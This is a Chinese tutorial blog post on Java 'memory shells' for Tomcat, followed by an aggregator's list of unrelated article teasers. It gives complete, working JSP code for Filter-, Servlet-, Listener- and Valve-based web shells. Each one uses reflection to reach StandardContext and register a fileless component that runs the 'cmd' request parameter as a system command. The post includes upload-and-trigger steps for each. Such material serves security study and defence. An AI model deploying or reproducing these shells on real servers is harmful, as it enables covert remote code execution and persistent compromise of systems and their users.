java内存马

news/2024/12/26 12:53:33/

java_0">java内存马

idea 2024.1.2专业版
jdk1.8.0_181
tomcat 8.5.82

默认有java基础,Javassist,Jsp,JavaEE都会一点

更新ing

文章目录

  • java内存马
    • 0. 一些基础
    • 1. filter型内存马
    • 2. Servlet型内存马
    • 3. listener型内存马
    • 4. Tomcat特有的Valve内存马
      • 1. valve基础
      • 2. valve内存马
    • 5. Spring内存马
    • 参考

0. 一些基础

tomcat包括五大容器和一个连接器,五大容器是Service、Engine、Host、Context、Wrapper,连接器是Connector。

tomcat中的三种context

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

在这里插入图片描述

1. filter型内存马

filter型内存马在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

filter接口主要定义了以下三种方法:

  • init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。
  • doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。
  • destroy(): Filter销毁时调用,释放资源。

Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

在这里插入图片描述

pom.xml添加

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.55</version>
</dependency>

webapp目录下filter.jsp

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filterfinal String name = "filter"; // Filter 的名称// 1. 获取 ServletContextServletContext servletContext = request.getServletContext();// 2. 通过反射获取 ApplicationContext// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值// 3. 通过反射获取 StandardContext// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true); // 设置字段可访问StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)// 反射获取 StandardContext 中的 private 字段 "filterConfigs"Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true); // 设置字段可访问Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值// 5. 检查是否已存在同名 Filterif (filterConfigs.get(name) == null) {// 6. 创建恶意的 Filter 实例Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// Filter 初始化方法 (此处为空)}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {// Filter 的核心处理方法HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;lresponse.setContentType("text/html; charset=UTF-8");lresponse.setCharacterEncoding("UTF-8");// 如果请求参数中包含 "cmd",则执行命令if (lrequest.getParameter("cmd") != null) {Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令// 读取命令执行结果java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}// 将命令执行结果写入响应lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return; // 阻止请求继续传递}filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求}@Overridepublic void destroy() {// Filter 销毁方法}};// 7. 创建 FilterDef (Filter 定义)FilterDef filterDef = new FilterDef();filterDef.setFilter(filter); // 设置 Filter 实例filterDef.setFilterName(name); // 设置 Filter 名称filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext// 8. 创建 FilterMap (Filter 映射)FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式filterMap.setFilterName(name); // 设置 Filter 名称filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUESTstandardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)// 9. 创建 ApplicationFilterConfig (Filter 配置)// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true); // 设置构造方法可访问// 通过反射创建 ApplicationFilterConfig 实例ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册filterConfigs.put(name, filterConfig);}
%>

上传该jsp文件到webapp目录然后浏览器访问filter.jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令。

在这里插入图片描述

主要的一些关键步骤:

  1. 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
  2. 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。
  3. 最后动态注册Filter:
    • 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。
    • 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
    • 创建FilterDef对象,设置Filter的名称、类名等信息。
    • 创建FilterMap对象,设置Filter拦截的URL模式。
    • 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。
    • 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。

2. Servlet型内存马

Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

Servlet 接口定义了以下三个主要的方法:

  • init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。
  • service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。
  • destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。

如果写成java类的话得在web.xml里加

<servlet><servlet-name>evilServlet</servlet-name><servlet-class>com.example.filtershell.EvilServlet</servlet-class><!-- 设置启动顺序 --><load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping><servlet-name>evilServlet</servlet-name><url-pattern>/evil</url-pattern>
</servlet-mapping>

下面用jsp实现

servlet.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %><%// 定义恶意Servlet类class EvilServlet extends HttpServlet {@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());//response.getWriter() 来获取一个可以向客户端发送字符文本的 PrintWriter 对象。} catch (Exception e) {response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(e.toString());}}}@Overridepublic void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {doGet(request, response);}}// 注入流程final String servletName = "evilServlet";final String urlPattern = "/evil";// 1. 获取 StandardContext//servletContext->ApplicationContext->StandardContextServletContext servletContext = request.getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);//获取context字段在applicationContext对象上的当前值// 2. 检查 Servlet 是否已存在,防止重复注入if (standardContext.findChild(servletName) == null) {// 3. 创建 WrapperWrapper wrapper = standardContext.createWrapper();wrapper.setName(servletName);wrapper.setServletClass(EvilServlet.class.getName());wrapper.setServlet(new EvilServlet());wrapper.setLoadOnStartup(1);// 4. 添加 Servlet 配置standardContext.addChild(wrapper);standardContext.addServletMappingDecoded(urlPattern, servletName);out.println("Servlet 注入成功!");out.println("访问路径: " + urlPattern);out.println("支持参数: cmd");} else {out.println("Servlet 已存在!");}
%>

上传该jsp文件到webapp目录然后浏览器访问servlet.jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。

在这里插入图片描述

在这里插入图片描述

主要的一些关键步骤:

  1. 恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。

  2. 注入流程:

    • 获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。

    • 检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。

    • 创建 Wrapper:

      使用 standardContext.createWrapper() 创建一个 Wrapper 对象。

      • wrapper.setName(servletName): 设置 Servlet 名称。
      • wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
      • wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
      • wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
    • 添加 Servlet 配置:

      • standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
      • standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。

3. listener型内存马

listener型内存马在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。

Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如:

  • 应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。

  • 会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。

  • 请求生命周期事件: 与 HTTP 请求的处理相关的事件。

  • 属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。

  • **requestInitialized(ServletRequestEvent sre):**此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。

  • **requestDestroyed(ServletRequestEvent sre):**此方法在每个 HTTP 请求结束时调用。

与filter和servlet内存马区别:

主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。

listener一般在web.xml这样配置,但这里不必配置

<listener><listener-class>com.example.MyServletContextListener</listener-class>
</listener>

使用jsp写

listener.jsp

ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener接口的requestInitialized()方法。

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.*" %><%// 定义恶意Listenerclass EvilListener implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent sre) {// 每次请求初始化的时候处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("start of listen");HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();String cmd = request.getParameter("cmd");if (cmd != null) {try {InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}).getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(in));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}Field requestF = request.getClass().getDeclaredField("request");requestF.setAccessible(true);Request req = (Request)requestF.get(request);req.getResponse().setContentType("text/plain; charset=UTF-8");req.getResponse().setCharacterEncoding("UTF-8");req.getResponse().getWriter().write(sb.toString());} catch (Exception e) {e.printStackTrace();}}}@Overridepublic void requestDestroyed(ServletRequestEvent sre){// 每次请求结束时的处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("ends of listen");}}// 注入流程// 1. 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 2. 创建并添加ListenerServletRequestListener evilListener = new EvilListener();standardContext.addApplicationEventListener(evilListener);out.println("Listener注入成功!");
%>

上传listener.jsp后浏览器访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求中获取 ServletContext 对象。
    • 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。
    • 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。
  2. 创建并注册恶意 Listener:
    • 创建 EvilListener 类的实例。
    • 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。

4. Tomcat特有的Valve内存马

1. valve基础

Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。

Pipeline-Valve 架构:

Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。

  • First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。
  • Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。
  • Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。

Valve 的关键方法:

  • invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。

在这里插入图片描述

2. valve内存马

Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。

valve.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.catalina.Pipeline" %><%!class EvilValve extends ValveBase {@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {String cmd = request.getParameter("cmd");if (cmd != null && !cmd.isEmpty()) {try {Process p = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/plain; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());response.setStatus(HttpServletResponse.SC_OK);response.getWriter().flush();response.getWriter().close();return;} catch (Exception e) {e.printStackTrace();}}getNext().invoke(request, response);}}%>
<%try {// 1. 反射获取 StandardContextField requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request req = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) req.getContext();// 2. 获取 PipelinePipeline pipeline = standardContext.getPipeline();// 3. 创建并添加 Valvepipeline.addValve(new EvilValve());out.println("Valve 注入成功!");} catch (Exception e) {e.printStackTrace(response.getWriter());}
%>

上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。
    • 通过 req.getContext() 获取 StandardContext 对象。
  2. 获取 Pipeline:
    • 通过 standardContext.getPipeline() 获取 Pipeline 对象。
  3. 创建并注册恶意 Valve:
    • 创建 EvilValve 类的实例。
    • 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。

5. Spring内存马

施工中ing

Java Agent看下一篇

还是挺复杂的

参考

Java内存马深入分析 Yu4xr安全

Java安全学习——内存马 枫のBlog

从零学习Agent内存马 小菜鸡学web

Java Web安全 百安科技


http://www.ppmy.cn/news/1558271.html

相关文章

LRC电路

从以前的文章&#xff0c;可以了解到电容电感都是类似于电池一样的东西。但是他俩都作为储能原件&#xff0c;本身不消耗能量。电容储能成电荷&#xff0c;电感储能为电磁。且根据电容通交隔直的特殊之处&#xff0c;从充电过程能看出来并不是完全隔绝。充满电后才会完全隔绝。…

基于Java2D和Java3D实现的(GUI)图形编辑系统

基于Java2D和Java3D的图形编辑系统 摘 要 基于本学期计算机图形学课程的理解以及课外查找的资料内容&#xff0c;实现了一个基于Java2D及Java3D的图形编辑系统&#xff0c;可以供用户实时交互。基本功能包括二维图形的输入、编辑(裁剪二维变换)、图像存储以及三维图形(.off文…

MyBatis的一级、二级缓存

MyBatis 提供了两级缓存机制&#xff0c;即一级缓存和二级缓存&#xff0c;用于提高查询效率&#xff0c;减少数据库访问次数。 一级缓存&#xff08;Session Cache&#xff09; 一级缓存是 MyBatis 的默认缓存&#xff0c;它是基于 SQL Session 的缓存。在同一个 SQL Session …

CSS基础-长度单位

&#x1f496;简介 在CSS中&#xff0c;长度单位分为绝对长度单位和相对长度单位。这些单位用于定义元素的尺寸、边距、填充、字体大小等属性值。 ⭐绝对长度单位 绝对长度单位指的是那些无论环境如何变化&#xff0c;其值都是固定不变的单位。它们通常适用于需要精确控制尺寸…

解锁自动化新高度,zTasker v2.0全方位提升效率

zTasker 是一款集强大功能与高效操作于一体的自动化任务管理软件&#xff0c;以其简单直观的设计和一键完成操作的特性深受用户喜爱。软件体积小巧&#xff0c;运行速度极快&#xff0c;支持超过 100 种不同的任务类型&#xff0c;并提供 30 多种定时或条件触发方式&#xff0c…

NNDL 作业11 LSTM

习题6-4 推导LSTM网络中参数的梯度&#xff0c; 并分析其避免梯度消失的效果 先来推个实例&#xff1a; 看式子中间&#xff0c;上半部分并未有连乘项&#xff0c;而下半部分有到的连乘项&#xff0c;从这可以看出&#xff0c;LSTM能缓解梯度消失&#xff0c;梯度爆炸只是不易…

#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍11基于XML的SQL注入(XML-Based SQL Injection)

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

如何确保数据大屏的交互设计符合用户需求?(附实践资料下载)

确保数据大屏的交互设计符合用户需求是一个多步骤的过程&#xff0c;涉及到用户研究、设计原则、原型测试和持续迭代。以下是一些关键步骤和策略&#xff1a; 用户研究&#xff1a; 目标用户识别&#xff1a;明确大屏的目标用户群体&#xff0c;包括他们的背景、角色和需求。用…